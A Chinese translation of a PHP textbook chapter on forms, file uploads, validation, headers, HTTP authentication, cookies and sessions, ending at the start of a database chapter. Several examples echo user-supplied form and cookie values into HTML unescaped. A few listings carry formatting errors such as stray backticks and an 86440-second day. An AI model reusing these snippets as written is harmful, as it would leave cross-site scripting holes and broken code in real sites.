 <option value="perky">Perky</option>
 <option value="morose">Morose</option>
 <option value="thinking">Thinking</option>
 <option value="feeling">Feeling</option>
 <option value="thrifty">Spend-thrift</option>
 <option value="shopper">Shopper</option>
 </select><br />
 <input type="submit" name="s" value="Record my personality!" />
</form>
<?php if (array_key_exists('s', $_GET)) {
 $description = join(' ', $_GET['attributes']);
 echo "You have a {$description} personality.";
} ?>

</body>
</html>

在示例 8-6 中,提交按钮的名称为"s"。我们检查是否存在此参数值以确定是否需要生成人物描述。图 8-3 展示了多选页面及其结果输出。

多选页面及其输出

图 8-3. 多选页面及其输出

同样的技术适用于任何表单字段,其中可以返回多个值。示例 8-7 展示了我们的人物表单的修订版本,改用复选框而不是选择框。请注意,只有 HTML 发生了变化——处理表单的代码不需要知道多个值是来自复选框还是选择框。

示例 8-7. 复选框中的多选值(checkbox_array.php)
<html>
<head><title>Personality</title></head>
<body>

<form action="<?php $_SERVER['PHP_SELF']; ?>" method="GET">
 Select your personality attributes:<br />
 <input type="checkbox" name="attributes[]" value="perky" /> Perky<br />
 <input type="checkbox" name="attributes[]" value="morose" /> Morose<br />
 <input type="checkbox" name="attributes[]" value="thinking" /> Thinking<br />
 <input type="checkbox" name="attributes[]" value="feeling" /> Feeling<br />
 <input type="checkbox" name="attributes[]" value="thrifty" />Spend-thrift<br />
 <input type="checkbox" name="attributes[]" value="shopper" /> Shopper<br />
 <br />
 <input type="submit" name="s" value="Record my personality!" />
</form>
<?php if (array_key_exists('s', $_GET)) {
 $description = join (' ', $_GET['attributes']);
 echo "You have a {$description} personality.";
} ?>

</body>
</html>

粘性多值参数

现在你可能会想,我能把多选表单元素设为粘性吗? 可以,但这并不容易。你需要检查表单中的每个可能值是否是提交的值之一。例如:

Perky: <input type="checkbox" name="attributes[]" value="perky"
<?php
if (is_array($_GET['attributes']) && in_array('perky', $_GET['attributes'])) {
 echo "checked";
} ?> /><br />

你可以为每个复选框使用这种技术,但这样做很重复且容易出错。此时,编写一个函数以生成可能值的 HTML 并从提交的参数副本中工作会更容易。示例 8-8 展示了一个新版本的多选复选框,表单被设为粘性。尽管这个表单看起来与示例 8-7 中的一样,但在幕后,表单生成的方式有了实质性的变化。

示例 8-8. 粘性多值复选框(checkbox_array2.php)
<html>
<head><title>Personality</title></head>
<body>
<?php // fetch form values, if any
$attrs = $_GET['attributes'];

if (!is_array($attrs)) {
 $attrs = array();
}

// create HTML for identically named checkboxes

function makeCheckboxes($name, $query, $options)
{
 foreach ($options as $value => $label) {
 $checked = in_array($value, $query) ? "checked" : '';

 echo "<input type=\"checkbox\" name=\"{$name}\"
 value=\"{$value}\" {$checked} />";
 echo "{$label}<br />\n";
 }
}

// the list of values and labels for the checkboxes
$personalityAttributes = array(
 'perky' => "Perky",
 'morose' => "Morose",
 'thinking' => "Thinking",
 'feeling' => "Feeling",
 'thrifty' => "Spend-thrift",
 'prodigal' => "Shopper"
); ?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">
 Select your personality attributes:<br />
 <?php makeCheckboxes('attributes[]', $attrs, $personalityAttributes); ?><br />

 <input type="submit" name="s" value="Record my personality!" />
</form>

<?php if (array_key_exists('s', $_GET)) {
 $description = join (' ', $_GET['attributes']);
 echo "You have a {$description} personality.";
} ?>

</body>
</html>

这段代码的核心是makeCheckboxes()函数。它接受三个参数:复选框组的名称,默认启用的值数组,以及将值映射到描述的数组。复选框的选项列表在$personalityAttributes数组中。

文件上传

要处理文件上传(大多数现代浏览器都支持),使用$_FILES数组。使用各种身份验证和文件上传函数,您可以控制谁可以上传文件以及在文件进入系统后要执行的操作。有关需要注意的安全问题,请参阅第 14 章。

下面的代码显示了一个允许在同一页面上传文件的表单:

<form enctype="multipart/form-data"
 action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 <input type="hidden" name="MAX_FILE_SIZE" value="10240">
 File name: <input name="toProcess" type="file" />
 <input type="submit" value="Upload" />
</form>

文件上传的最大问题是风险,即收到太大以至于无法处理的文件。PHP 有两种方式来防止这种情况发生:硬限制和软限制。php.ini 中的 upload_max_filesize 选项为上传文件的硬上限设定了默认值为 2 MB。如果你的表单在任何文件字段参数之前提交一个名为 MAX_FILE_SIZE 的参数,PHP 将使用该值作为软上限。例如,在上一个示例中,上限设置为 10 KB。PHP 会忽略尝试将 MAX_FILE_SIZE 设置为大于 upload_max_filesize 的值的尝试。

此外,请注意,表单标签需要一个 enctype 属性,其值为 "multipart/form-data"

$_FILES 中的每个元素本身都是一个数组,提供有关上传文件的信息。键包括:

name

浏览器提供的上传文件的名称。这很难进行有意义的使用,因为客户端机器可能具有不同的文件名约定,与运行 Unix 的 Web 服务器(例如,从运行 Windows 的客户端机器获取的 D:\PHOTOS\ME.JPG 文件路径对于 Web 服务器来说毫无意义)。

type

客户端猜测的上传文件的 MIME 类型。

size

上传文件的大小(以字节为单位)。如果用户尝试上传一个太大的文件,则大小将报告为 0。

tmp_name

服务器上保存上传文件的临时文件的名称。如果用户尝试上传一个太大的文件,则名称将显示为 "none"

测试文件是否成功上传的正确方式是使用 is_uploaded_file() 函数,如下所示:

if (is_uploaded_file($_FILES['toProcess']['tmp_name'])) {
 // successfully uploaded
}

文件存储在服务器的默认临时文件目录中,该目录在 php.ini 中使用 upload_tmp_dir 选项指定。要移动文件,请使用 move_uploaded_file() 函数:

move_uploaded_file($_FILES['toProcess']['tmp_name'], "path/to/put/file/{$file}");

调用 move_uploaded_file() 自动检查是否为上传文件。当脚本完成时,从临时目录中删除上传到该脚本的任何文件。

表单验证

当允许用户输入数据时,通常需要在使用或存储数据之前对其进行验证。有几种可用的验证数据的策略。首先是客户端的 JavaScript。然而,由于用户可以选择关闭 JavaScript,或者甚至可能使用不支持 JavaScript 的浏览器,因此这不应是你唯一的验证手段。

更安全的选择是使用 PHP 进行验证。示例 8-9 展示了一个带有表单的自处理页面。页面允许用户输入媒体项目;表单的三个元素——名称、媒体类型和文件名——是必填项。如果用户忽略了其中任何一个值,页面会重新显示,并显示详细的错误信息。用户已经填写的表单字段将保留最初输入的值。最后,作为对用户的额外提示,当用户正在纠正表单时,提交按钮的文本从“Create”更改为“Continue”。

示例 8-9. 表单验证(data_validation.php)
<?php
$name = $_POST['name'];
$mediaType = $_POST['media_type'];
$filename = $_POST['filename'];
$caption = $_POST['caption'];
$status = $_POST['status'];

$tried = ($_POST['tried'] == 'yes');

if ($tried) {
 $validated = (!empty($name) && !empty($mediaType) && !empty($filename));

 if (!$validated) { ?>
 <p>The name, media type, and filename are required fields. Please fill
 them out to continue.</p>
 <?php }
}

if ($tried && $validated) {
 echo "<p>The item has been created.</p>";
}

// was this type of media selected? print "selected" if so
function mediaSelected($type)
{
 global $mediaType;

 if ($mediaType == $type) {
 echo "selected"; }
} ?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 Name: <input type="text" name="name" value="<?php echo $name; ?>" /><br />

 Status: <input type="checkbox" name="status" value="active"
 <?php if ($status == "active") { echo "checked"; } ?> /> Active<br />

 Media: <select name="media_type">
 <option value="">Choose one</option>
 <option value="picture" <?php mediaSelected("picture"); ?> />Picture</option>
 <option value="audio" <?php mediaSelected("audio"); ?> />Audio</option>
 <option value="movie" <?php mediaSelected("movie"); ?> />Movie</option>
 </select><br />

 File: <input type="text" name="filename" value="<?php echo $filename; ?>" /><br />

 Caption: <textarea name="caption"><?php echo $caption; ?></textarea><br />

 <input type="hidden" name="tried" value="yes" />
 <input type="submit" value="<?php echo $tried ? "Continue" : "Create"; ?>" />
</form>

在这种情况下,验证仅仅是检查是否提供了一个值。只有当$name$type$filename都不为空时,我们才将$validated设置为true。其他可能的验证包括检查电子邮件地址是否有效或检查提供的文件名是否是本地存在的。

例如,要验证年龄字段以确保它包含非负整数,请使用以下代码:

$age = $_POST['age'];
$validAge = strspn($age, "1234567890") == strlen($age);

调用strspn()函数可以找到字符串开头的数字数量。在非负整数中,整个字符串应该由数字组成,因此如果整个字符串由数字组成,则它是一个有效的年龄。我们也可以使用正则表达式进行这种检查:

$validAge = preg_match('/^\d+$/', $age);

验证电子邮件地址是一项几乎不可能的任务。没有办法拿到一个字符串然后判断它是否对应一个有效的电子邮件地址。但是,你可以通过要求用户在两个不同的字段中输入电子邮件地址两次来捕捉输入错误。你还可以通过要求在@符号后的某个位置输入一个句点(.),以及为了额外加分,你可以检查你不希望发送邮件到的域(例如whitehouse.gov或竞争对手的网站)。例如:

$email1 = strtolower($_POST['email1']);
$email2 = strtolower($_POST['email2']);

if ($email1 !== $email2) {
 die("The email addresses didn't match");
}

if (!preg_match('/@.+\..+$/', $email1)) {
 die("The email address is malformed");
}

if (strpos($email1, "whitehouse.gov")) {
 die("I will not send mail to the White House");
}

字段验证基本上是字符串处理。在本例中,我们使用了正则表达式和字符串函数来确保用户提供的字符串是我们期望的类型。

设置响应头

正如我们已经讨论过的那样,服务器发送给客户端的 HTTP 响应包含标识响应主体内容类型、发送响应的服务器、响应主体的字节数、发送响应的时间等头部信息。PHP 和 Apache 通常会为您处理头部信息(例如标识文档为 HTML、计算 HTML 页面的长度等)。大多数 Web 应用程序通常不需要自己设置头部信息。但是,如果您想发送非 HTML 内容、设置页面的过期时间、重定向客户端的浏览器或生成特定的 HTTP 错误,则需要使用header()函数。

设置头文件的唯一注意事项是必须在生成任何正文内容之前执行。这意味着所有对 header()(或者如果您设置 cookies 则为 setcookie())的调用都必须发生在文件的非常顶部,甚至在 <html> 标签之前。例如:

<?php header("Content-Type: text/plain"); ?>
Date: today
From: fred
To: barney
Subject: hands off!

My lunchbox is mine and mine alone. Get your own,
you filthy scrounger!

在文档开始后尝试设置头部会导致以下警告:

Warning: Cannot add header information - headers already sent

您还可以使用输出缓冲区;有关更多信息,请参阅 ob_start()ob_end_flush() 和相关函数。

不同的内容类型

Content-Type 头部标识返回文档的类型。通常这是 "text/html",表示一个 HTML 文档,但还有其他有用的文档类型。例如,"text/plain" 强制浏览器将页面视为纯文本。这种类型就像自动的“查看源代码”,在调试时非常有用。

在 第十章 和 第十一章 中,我们将大量使用 Content-Type 头部生成实际上是图形图像和 Adobe PDF 文件的文档。

重定向

要将浏览器重定向到一个新的 URL,即重定向,您需要设置 Location 头。通常,随后会立即退出,以便脚本不会继续生成和输出代码清单的其余部分:

header("Location: http://www.example.com/elsewhere.html");
exit();

当提供部分 URL(例如 /elsewhere.html)时,Web 服务器会在内部处理重定向。这通常很少有用,因为浏览器通常不会意识到它没有获取到请求的页面。如果新文档中有相对 URL,则浏览器会将这些 URL 解释为相对于请求的文档,而不是最终发送的文档。一般情况下,您会希望重定向到绝对 URL。

过期

服务器可以明确告知浏览器及可能存在于服务器与浏览器之间的任何代理缓存文档的具体过期日期和时间。代理和浏览器缓存可以在那个时间之前持有文档或者提前过期。重复加载缓存文档不会联系服务器。但尝试获取已过期文档会联系服务器。

要设置文档的过期时间,请使用 Expires 头部:

header("Expires: Tue, 02 Jul 2019 05:30:00 GMT");

要使文档在生成页面后的三小时内过期,使用 time()gmstrftime() 生成过期日期字符串:

$now = time();
$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT", $now + 60 * 60 * 3);

header("Expires: {$then}");

要指示文档“永不”过期,使用一年后的时间:

$now = time();
$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT", $now + 365 * 86440);

header("Expires: {$then}");

要标记文档已过期,使用当前时间或过去的时间:

$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT");

header("Expires: {$then}");

这是防止浏览器或代理缓存存储您的文档的最佳方法:

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

有关控制浏览器和 Web 缓存行为的更多信息,请参阅 Web Caching(O’Reilly 出版)由 Duane Wessels 的第六章。

认证

HTTP 身份验证通过请求头和响应状态工作。浏览器可以在请求头中发送用户名和密码(凭证)。如果凭证未发送或不符合要求,服务器将发送“401 未授权”响应,并通过WWW-Authenticate头标识身份验证的领域(例如"Mary's Pictures""Your Shopping Cart")。这通常会在浏览器上弹出一个“输入用户名和密码以 . . .”的对话框,并且页面会使用更新后的凭证重新请求。

要在 PHP 中处理身份验证,请检查用户名和密码($_SERVERPHP_AUTH_USERPHP_AUTH_PW项),并调用header()设置领域并发送“401 未授权”响应:

header('WWW-Authenticate: Basic realm="Top Secret Files"');
header("HTTP/1.0 401 Unauthorized");

您可以使用任何方法来验证用户名和密码;例如,您可以查询数据库,读取有效用户的文件,或查询 Microsoft 域服务器。

本示例检查确保密码是用户名的反向(确实不是最安全的身份验证方法!):

$authOK = false;

$user = $_SERVER['PHP_AUTH_USER'];
$password = $_SERVER['PHP_AUTH_PW'];

if (isset($user) && isset($password) && $user === strrev($password)) {
 $authOK = true;
}

if (!$authOK) {
 header('WWW-Authenticate: Basic realm="Top Secret Files"');
 header('HTTP/1.0 401 Unauthorized');

 // anything else printed here is only seen if the client hits "Cancel"
 exit;
}

<!-- your password-protected document goes here -->

如果您要保护多个页面,请将上述代码放入单独的文件中,并将其包含在每个受保护页面的顶部。

如果您的主机使用的是 PHP 的 CGI 版本而不是 Apache 模块,则无法设置这些变量,您需要使用其他形式的身份验证,例如通过 HTML 表单收集用户名和密码。

维护状态

HTTP 是一种无状态协议,这意味着一旦 Web 服务器完成客户端的 Web 页面请求,两者之间的连接就会中断。换句话说,服务器无法识别一系列请求是否来自同一个客户端。

尽管如此,状态是有用的。例如,如果无法跟踪单个用户的一系列请求,就无法构建购物车应用程序。您需要知道用户何时添加或删除项目,以及用户在决定结账时购物车中有什么物品。

为了解决网络缺乏状态的问题,程序员们想出了许多技巧来在请求之间跟踪状态信息(也称为会话跟踪)。其中一种技术是使用隐藏表单字段来传递信息。PHP 将隐藏表单字段视为普通表单字段,因此这些值可以在$_GET$_POST数组中使用。使用隐藏表单字段,您可以传递整个购物车的内容。但是,更常见的做法是为每个用户分配一个唯一标识符,并使用单个隐藏表单字段传递该标识符。虽然隐藏表单字段在所有浏览器中都有效,但它们仅适用于一系列动态生成的表单,因此它们不如其他一些技术那样普遍有用。

另一种技术是 URL 重写,其中用户可能单击的每个本地 URL 都会动态修改以包含额外信息。这些额外信息通常作为 URL 的参数指定。例如,如果为每个用户分配一个唯一的 ID,可以在所有 URL 中包含该 ID,如下所示:

http://www.example.com/catalog.php?userid=123

如果确保动态修改所有本地链接以包含用户 ID,现在可以在应用程序中跟踪个别用户。URL 重写适用于所有动态生成的文档,不仅仅是表单,但实际执行重写可能很繁琐。

维护状态的第三种最普遍的技术是使用cookiesCookie 是服务器可以给客户端的一小段信息。在随后的每个请求中,客户端将该信息返回给服务器,从而标识自己。Cookies 对于通过浏览器重复访问时保留信息很有用,但它们也不是没有问题的。主要问题在于,大多数浏览器允许用户禁用 cookies。因此,任何使用 cookies 进行状态维护的应用程序都需要使用另一种技术作为后备机制。我们稍后将更详细地讨论 cookies。

使用 PHP 维护状态的最佳方式是使用内置的会话跟踪系统。此系统允许您创建可从应用程序的不同页面访问的持久变量,以及同一用户在访问站点的不同次数时也可以访问这些变量。在幕后,PHP 的会话跟踪机制使用 cookies(或 URLs)优雅地解决大多数需要状态的问题,并为您处理所有细节。我们稍后将在本章中详细介绍 PHP 的会话跟踪系统。

Cookies

一个 cookie 基本上是一个包含多个字段的字符串。服务器可以在响应的头部中向浏览器发送一个或多个 cookies。某些 cookie 的字段指示浏览器应将 cookie 作为请求的一部分发送到哪些页面。cookie 的 value 字段是有效载荷——服务器可以在其中存储任何喜欢的数据(在限制内),如标识用户的唯一代码、偏好等。

使用 setcookie() 函数将 cookie 发送到浏览器:

setcookie(*`name`* [, *`value`* [, *`expires`* [, *`path`* [, *`domain`* [, *`secure`* [, 
*`httponly`* ]]]]]]);

此函数从给定参数创建 cookie 字符串,并创建一个 Cookie 头部,其值为该字符串。因为 cookies 作为响应的头部发送,所以必须在发送文档的任何主体之前调用 setcookie()setcookie() 的参数包括:

名称

特定 cookie 的唯一名称。您可以拥有多个具有不同名称和属性的 cookies。名称不能包含空格或分号。

此 cookie 附加的任意字符串值。最初的 Netscape 规范将 cookie 的总大小(包括名称、过期日期和其他信息)限制为 4 KB,因此虽然 cookie 值的大小没有具体限制,但它可能不会大于 3.5 KB。

过期

此 cookie 的过期日期。如果未指定过期日期,则浏览器将 cookie 保存在内存中而不是在磁盘上。当浏览器退出时,cookie 消失。过期日期是自 1970 年 1 月 1 日午夜(GMT)以来的秒数。例如,传递time() + 60 * 60 * 2将使 cookie 在两小时后过期。

path

浏览器只会为此路径下的 URL 返回 cookie。默认情况下是当前页面所在的目录。例如,如果/store/front/cart.php设置了一个 cookie,并且没有指定路径,那么该 cookie 将在所有 URL 路径以/store/front/开头的页面上发送回服务器。

domain

浏览器只会为此域名下的 URL 返回 cookie。默认是服务器主机名。

secure

浏览器只会在https连接下传输 cookie。默认情况下是false,意味着可以在不安全的连接下发送 cookie。

httponly

如果将此参数设置为TRUE,则 cookie 将仅通过 HTTP 协议可用,因此无法通过其他方式如 JavaScript 访问。关于这是否能提供更安全的 cookie,仍有争论,因此请谨慎使用此参数并进行充分测试。

setcookie()函数还有一种替代语法:

 `setcookie` ($name [, $value = "" [, $options = [] ]] )

其中$options是一个数组,保存了跟在$value内容后面的其他参数。这样可以稍微节省setcookie()函数的代码行长度,但是在使用前必须先构建好$options数组,因此存在一定的权衡考量。

当浏览器将 cookie 发送回服务器时,您可以通过$_COOKIE数组访问该 cookie。键是 cookie 名称,值是 cookie 的value字段。例如,页面顶部的以下代码跟踪了客户端访问该页面的次数:

$pageAccesses = $_COOKIE['accesses'];
setcookie('accesses', ++$pageAccesses);

解码 cookie 时,cookie 名称中的任何句点(.)都会变成下划线。例如,名为tip.top的 cookie 可以通过$_COOKIE['tip_top']访问。

让我们看看 cookie 的实际效果。首先,示例 8-10 显示了一个 HTML 页面,提供了各种背景和前景颜色的选项。

示例 8-10. 偏好选择 (colors.php)
<html>
<head><title>Set Your Preferences</title></head>
<body>
<form action="prefs.php" method="post">
 <p>Background:
 <select name="background">
 <option value="black">Black</option>
 <option value="white">White</option>
 <option value="red">Red</option>
 <option value="blue">Blue</option>
 </select><br />

 Foreground:
 <select name="foreground">
 <option value="black">Black</option>
 <option value="white">White</option>
 <option value="red">Red</option>
 <option value="blue">Blue</option>
 </select></p>

 <input type="submit" value="Change Preferences">
</form>

</body>
</html>

示例 8-10 中的表单提交到 PHP 脚本prefs.php,如示例 8-11 所示,该脚本会为表单中指定的颜色偏好设置 cookie。注意,在 HTML 页面启动后才调用setcookie()函数。

<html>
<head><title>Preferences Set</title></head>
<body>

<?php
$colors = array(
 'black' => "#000000",
 'white' => "#ffffff",
 'red' => "#ff0000",
 'blue' => "#0000ff"
);

$backgroundName = $_POST['background'];
$foregroundName = $_POST['foreground'];

setcookie('bg', $colors[$backgroundName]);
setcookie('fg', $colors[$foregroundName]);
?>

<p>Thank you. Your preferences have been changed to:<br />
Background: <?php echo $backgroundName; ?><br />
Foreground: <?php echo $foregroundName; ?></p>

<p>Click <a href="prefs_demo.php">here</a> to see the preferences
in action.</p>

</body>
</html>

示例 8-11 生成的页面包含指向另一页的链接,如示例 8-12 所示,该页面通过访问$_COOKIE数组使用颜色偏好。

<html>
<head><title>Front Door</title></head>
<?php
$backgroundName = $_COOKIE['bg'];
$foregroundName = $_COOKIE['fg'];
?>
<body bgcolor="<?php echo $backgroundName; ?>" text="<?php echo $foregroundName; ?>">

<h1>Welcome to the Store</h1>

<p>We have many fine products for you to view. Please feel free to browse
the aisles and stop an assistant at any time. But remember, you break it
you bought it!</p>

<p>Would you like to <a href="colors.php">change your preferences?</a></p>

</body>
</html>

关于 cookie 使用有许多注意事项。并非所有客户端(浏览器)都支持或接受 cookie,即使客户端支持 cookie,用户也可以关闭它们。此外,cookie 规范规定单个 cookie 大小不得超过 4 KB,每个域名最多允许 20 个 cookie,并且客户端上最多可以存储 300 个 cookie。某些浏览器可能有更高的限制,但不能依赖此点。最后,你无法控制浏览器何时实际过期 cookie —— 如果浏览器达到容量上限并需要添加新 cookie,则可能丢弃尚未过期的 cookie。你还应注意设置快速过期的 cookie。到期时间依赖于客户端时钟与你的时钟一样准确。许多人没有准确设置系统时钟,因此不能依赖于快速过期。

尽管存在这些限制,cookie 对于通过浏览器的重复访问保留信息非常有用。

会话

PHP 内置支持会话,处理所有的 cookie 操作,以提供可以从不同页面访问并跨多次访问站点的持久变量。会话使你能够轻松创建多页面表单(如购物车)、保存用户认证信息以及在站点上存储持久用户首选项。

每个首次访问者都会被分配一个唯一的会话 ID。默认情况下,会话 ID 存储在名为 PHPSESSID 的 cookie 中。如果用户的浏览器不支持 cookie 或已关闭 cookie,会话 ID 将通过网站内的 URL 传播。

每个会话都有一个关联的数据存储。你可以注册变量,以便在每个页面启动时从数据存储加载,并在页面结束时保存回数据存储。注册的变量在页面间持久存在,并且在一个页面上对变量的更改可以在其他页面上看到。例如,“将此商品加入购物车”的链接可以将用户带到一个页面,向购物车中注册的数组添加项目。然后可以在另一个页面上使用此注册的数组来显示购物车的内容。

会话基础

脚本开始运行时会自动启动会话。如有必要,会生成新的会话 ID,可能创建一个要发送到浏览器的 cookie,并从存储中加载任何持久变量。

你可以通过将变量名称传递给 $_SESSION[] 数组来将变量注册到会话中。例如,这里是一个基本的点击计数器:

session_start();
$_SESSION['hits'] = $_SESSION['hits'] + 1;

echo "This page has been viewed {$_SESSION['hits']} times.";

session_start() 函数将注册的变量加载到关联数组 $_SESSION 中。键是变量的名称(例如 $_SESSION['hits'])。如果你感兴趣,session_id() 函数返回当前会话 ID。

要结束会话,请调用 session_destroy()。这将删除当前会话的数据存储,但不会从浏览器缓存中删除 cookie。这意味着,在后续访问启用会话的页面时,用户将具有与调用 session_destroy() 之前相同的会话 ID,但没有数据。

示例 8-13 展示了从 示例 8-11 改写的代码,使用会话而不是手动设置 cookie。

示例 8-13. 使用会话设置首选项(prefs_session.php)
<?php session_start(); ?>

<html>
<head><title>Preferences Set</title></head>
<body>

<?php
$colors = `array`(
 'black' => "#000000",
 'white' => "#ffffff",
 'red' => "#ff0000",
 'blue' => "#0000ff"
);

$bg = $colors[`$_POST`['background']];
$fg = $colors[`$_POST`['foreground']];

`$_SESSION`['bg'] = $bg;
`$_SESSION`['fg'] = $fg;
?>

<p>Thank you. Your preferences have been changed to:<br /> Background: <?php `echo` `$_POST`['background']; ?><br /> Foreground: <?php `echo` `$_POST`['foreground']; ?></p>

<p>Click <a href="prefs_session_demo.php">here</a> to see the preferences
in action.</p>

</body>
</html>

示例 8-14 展示了从 示例 8-12 改写为使用会话。会话启动后,创建了 $bg$fg 变量,脚本只需使用它们即可。

示例 8-14. 使用会话中的首选项(prefs_session_demo.php)
<?php
session_start() ;
$backgroundName = `$_SESSION`['bg'] ;
$foregroundName = `$_SESSION`['fg'] ;
?>
<html>
<head><title>Front Door</title></head>
<body bgcolor="<?php `echo` $backgroundName; ?>" text="<?php `echo` $foregroundName; ?>">

<h1>Welcome to the Store</h1>

<p>We have many fine products for you to view. Please feel free to browse
the aisles and stop an assistant at any time. But remember, you break it
you bought it!</p>

<p>Would you like to <a href="colors.php">change your preferences?</a></p>

</body></html>

要查看此更改,只需更新 colors.php 文件中的操作目标。默认情况下,PHP 会话 ID cookie 在浏览器关闭时过期。也就是说,会话在浏览器停止存在后不会持久保存。要更改此设置,您需要在 php.ini 中设置 session.cookie_lifetime 选项为 cookie 的生命周期(以秒为单位)。

默认情况下,会话 ID 通过 PHPSESSID cookie 从页面传递到页面。但是,PHP 的会话系统支持两种替代方案:表单字段和 URL。通过隐藏表单字段传递会话 ID 非常笨拙,因为它强制您将每个页面之间的每个链接都变成表单的提交按钮。我们将不在此处进一步讨论此方法。

传递会话 ID 的 URL 系统相对更加优雅。PHP 可以重写您的 HTML 文件,将会话 ID 添加到每个相对链接中。但是,要使此功能正常工作,PHP 在编译时必须配置 -enable-trans-id 选项。这会导致性能损失,因为 PHP 必须解析和重写每个页面。繁忙的站点可能希望使用 cookie,因为它们不会因页面重写而减慢速度。此外,这会暴露您的会话 ID,可能导致中间人攻击。

自定义存储

默认情况下,PHP 将会话信息存储在服务器临时目录中的文件中。每个会话变量存储在单独的文件中。每个变量以专有格式序列化到文件中。您可以在 php.ini 文件中更改所有这些值。

您可以通过在 php.ini 中设置 session.save_path 值来更改会话文件的位置。如果您在具有自己安装的 PHP 的共享服务器上,请将目录设置为您自己目录树中的某个位置,这样同一台机器上的其他用户就无法访问您的会话文件。

PHP 可以将会话信息存储在当前会话存储中的两种格式之一——PHP 的内置格式或 Web 分布数据交换(WDDX)格式。您可以通过在您的 php.ini 文件中设置 session.serialize_handler 值为 php(默认行为)或 wddx(WDDX 格式)来更改格式。

结合 Cookies 和 Sessions

使用 Cookies 和自定义的会话处理程序的组合,您可以跨访问保留状态。任何应该在用户离开站点时被遗忘的状态,例如用户正在访问的页面,可以交给 PHP 的内置会话处理。任何应该在用户访问之间保持的状态,例如唯一的用户 ID,可以存储在一个 Cookie 中。使用用户 ID,您可以从永久存储(如数据库)中检索用户更长期的状态(显示偏好、邮寄地址等)。

示例 8-15 允许用户选择文本和背景颜色,并将这些值存储在一个 Cookie 中。在接下来的一周内访问页面时,会将颜色值在 Cookie 中发送。

示例 8-15. 跨访问保存状态(save_state.php)
<?php
if($_POST['bgcolor']) {
 setcookie('bgcolor', $_POST['bgcolor'], time() + (60 * 60 * 24 * 7));
}

if (isset($_COOKIE['bgcolor'])) {
 $backgroundName = $_COOKIE['bgcolor'];
}
else if (isset($_POST['bgcolor'])) {
 $backgroundName = $_POST['bgcolor'];
}
else {
 $backgroundName = "gray";
} ?>
<html>
<head><title>Save It</title></head>
<body bgcolor="<?php echo $backgroundName; ?>">

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 <p>Background color:
 <select name="bgcolor">
 <option value="gray">Gray</option>
 <option value="white">White</option>
 <option value="black">Black</option>
 <option value="blue">Blue</option>
 <option value="green">Green</option>
 <option value="red">Red</option>
 </select></p>

 <input type="submit" />
</form>

</body>
</html>

SSL

安全套接字层(SSL)提供了一个安全的通道,使得常规的 HTTP 请求和响应可以流动。PHP 并不专门关注 SSL,因此您无法通过 PHP 控制加密方式。一个 https:// 的 URL 表示该文档的连接是安全的,而不像 http:// 的 URL。

如果 PHP 页面是在 SSL 连接的请求下生成的,$_SERVER 数组中的 HTTPS 条目将被设置为 'on'。要防止页面在非加密连接下生成,只需简单地使用:

if ($_SERVER['HTTPS'] !== 'on') {
 die("Must be a secure connection.");
}

一个常见的错误是在安全连接下发送表单(例如,https://www.example.com/form.html),但是表单的 action 设置为一个 http:// 的 URL。用户输入的任何表单参数都会通过不安全的连接发送,而简单的数据包嗅探器可以将其暴露出来。

接下来是什么

在现代 Web 开发中有许多技巧和陷阱,我们希望本章所指出的内容能帮助您构建出色的网站。下一章将讨论如何将数据保存到 PHP 中的数据存储中,我们将涵盖大多数常用的方法,如数据库、SQL 和 NoSQL 风格、SQLite,以及直接文件信息存储。

第九章:数据库

PHP 支持超过 20 种数据库,包括最流行的商业和开源种类。关系数据库系统,如 MariaDB、MySQL、PostgreSQL 和 Oracle,是大多数现代动态网站的支柱。这些系统存储着购物车信息、购买历史、产品评论、用户信息、信用卡号码,有时甚至是网页本身。

本章介绍如何从 PHP 访问数据库。我们重点介绍内置的PHP Data Objects(PDO)库,它允许你使用相同的函数访问任何数据库,而不是使用众多特定于数据库的扩展。在本章中,你将学习如何从数据库中获取数据、将数据存储到数据库中以及处理错误。最后,我们将展示一个示例应用程序,演示如何将各种数据库技术应用到实际中。

这本书无法详尽介绍使用 PHP 创建 Web 数据库应用程序的所有细节。想深入了解 PHP/MySQL 组合,请参阅《Web Database Applications with PHP and MySQL, Second Edition》(O’Reilly),作者是 Hugh Williams 和 David Lane,链接在这里

使用 PHP 访问数据库

从 PHP 访问数据库有两种方式。一种是使用特定于数据库的扩展,另一种是使用独立于数据库的 PDO 库。每种方法都有其优缺点。

如果你使用特定于某种数据库的扩展,你的代码将与你使用的数据库密切相关。例如,MySQL 扩展的函数名称、参数、错误处理等完全不同于其他数据库扩展的函数。如果你想将数据库从 MySQL 迁移到 PostgreSQL,将涉及对你的代码进行重大更改。而 PDO 则通过抽象层将数据库特定的功能隐藏,因此在不同数据库系统之间移动可能只需要修改程序中的一行代码或你的php.ini文件。

抽象层(如 PDO 库)的可移植性是有代价的,因为使用它的代码通常比使用本地数据库特定扩展的代码略慢一些。

请记住,抽象层在确保你的实际 SQL 查询可移植性方面毫无帮助。如果你的应用程序使用任何非通用 SQL,你将需要大量工作将你的查询从一个数据库转换到另一个数据库。在本章中,我们将简要讨论数据库接口的两种方法,然后看看管理 Web 动态内容的其他方法。

关系数据库和 SQL

关系数据库管理系统(RDBMS)是一个为您管理数据的服务器。数据被结构化成表,每个表有若干列,每列都有一个名称和类型。例如,为了跟踪科幻书籍,我们可能有一个“books”表记录标题(字符串)、发布年份(数字)和作者。

表被组合到数据库中,所以科幻书数据库可能有用于时间段、作者和反派的表。关系数据库管理系统通常有其自己的用户系统,用于控制对数据库的访问权限(例如,“用户 Fred 可以更新数据库作者”)。

PHP 使用结构化查询语言(SQL)与关系数据库(如 MariaDB 和 Oracle)进行通信。您可以使用 SQL 创建、修改和查询关系数据库。

